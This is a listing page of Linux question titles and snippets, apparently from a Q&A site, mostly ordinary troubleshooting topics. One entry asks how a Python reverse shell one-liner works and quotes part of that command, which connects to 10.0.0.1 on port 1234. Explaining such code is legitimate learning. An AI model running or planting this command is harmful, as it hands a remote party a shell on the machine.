Category "linux"

numpy and cv2, no modules available after installation via pip on linux

I installed opencv and numpy using pip on debian 11.2 with python 3.9. In visual studio the modules aren't available and terminal returns: Traceback (most recen

Docker Build using CA Trust Bundle from Host

Given a simple Dockerfile that installs from something from the net, I'm trying to work out an elegant way to allow the build process to trust HTTPS endpoints w

Rust nightly not installed, please install it

I was able to build and run substrate-node-template from the instructions from the cloned repo, following the instructions at https://substrate.dev/docs/en/tuto

How to concatenate variables and strings as a full path for the "output file" of an ffmpeg command in a bash script

I'm trying to learn to bash scripting and I tried to use variables and arguments, etc. to specify a complex output file name to a ffmpeg command as follows : fo

How can I run a dotnet application in the background using sudo on Linux? [duplicate]

I am experiencing some weird problems that I'm not sure how to solve. I am using CodeDeploy to deploy my applications to an AWS EC2 instance,

WSL, Running linux commands with "wsl --exec <cmd>" or "wsl -- <cmd>"

wsl -h shows the following: --exec, -e <CommandLine> Execute the specified command without using the default Linux shell. -- Pass the remainin

How does a Python reverse shell one-liner work?

Consider: python -c 'import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(("10.0.0.1",1234));os.dup2(s.fileno(),0); os.dup2(

Can I call linux allocation API functions in C?

I want to allocate physical page frames using alloc_pages() in C. I have tried that in kernel module in it works fine. I want to make the code running in user s

what is the python interpreter for odoo serveur (openERP)

We use opnerp (odoo) on a linux server (debian), I want to locate the python interpreter used by the odoo daemon, So the question is how I can change the path t

Makefile - issues including directory

I've been working on a Makefile but having two issues. The application directory contains autotools files for a Yocto build but for development I'd like to do b

Add word to end of line in Ansible

I've been trying a lot of lineinfile and replace examples but i can't get it to work. I have the following lines: deb-src http://httpredir.debian.org/debian b

ClickHouse connection refused after shut down Linux OS (error Code: 210. DB::NetException: Connection refused)

I saw a previous post on StackOverflow related to my question. I tried to handle this connection problem by entering sudo nano /etc/clickhouse-server/config.xml

"Failed to connect to github.com port 443: Connection timed out" when pushing to remote repository

I've 'googled' and 'stackoverflowed' so much but I haven't found a solution for my problem. I'm on Ubuntu and try for the first time git. I did: sudo apt-get

How to fix scaling of a java-based application on a high dpi display in linux?

I just switched to java 11 (AdaptOpenJDK) so that my java Swing application looks ok on high dpi displays at different system scaling settings. It works ok on

Rust installation fails on Linux with error "OS 21"

When I tried to install Rust on my Linux machine this error appeared:error: could not amend shell profile: '/home/$Username/.profile': could not write rcfile fi

Generate a Random Output from the List of Multiplicities of a Number X up to a MAX Number Y?

Using a bash script, I want to choose a random number from such a list: [0, X, 2X, 3X, 4X, ..., Y] where Y=k*X and k is an integer. X and Y are just some input

"ls" permission denied even though I have read access to the directory [closed]

Although I am the owner (pi) of the directory, still permission is denied pi@raspberrypi:~/Desktop $ sudo ls -al total 16 d-wx--x--x 3 pi pi

How to build multiple linux kernel module with multiple source files in a single Makefile?

I am trying to build a set of Linux kernel modules with multiple source files: obj-m += mst_pciconf.o mst_pci.o mst-objs += nnt_device.o nnt_dma.o nnt_pci_conf_

Retrieve Linux Time using struct timespec

Can someone please suggest how can I retrieve linux time using struct timespec ts type? It just gives me time since Epoch. Can I get the actual Linux tim

How to cross compile a c program to aarch64 with cpuid.h?

I'm trying to cross-compile a simple C program to aarch64 (arm64) from a 64bit Ubuntu Linux. Can someone please help me why i'm getting this error. It says 'cpu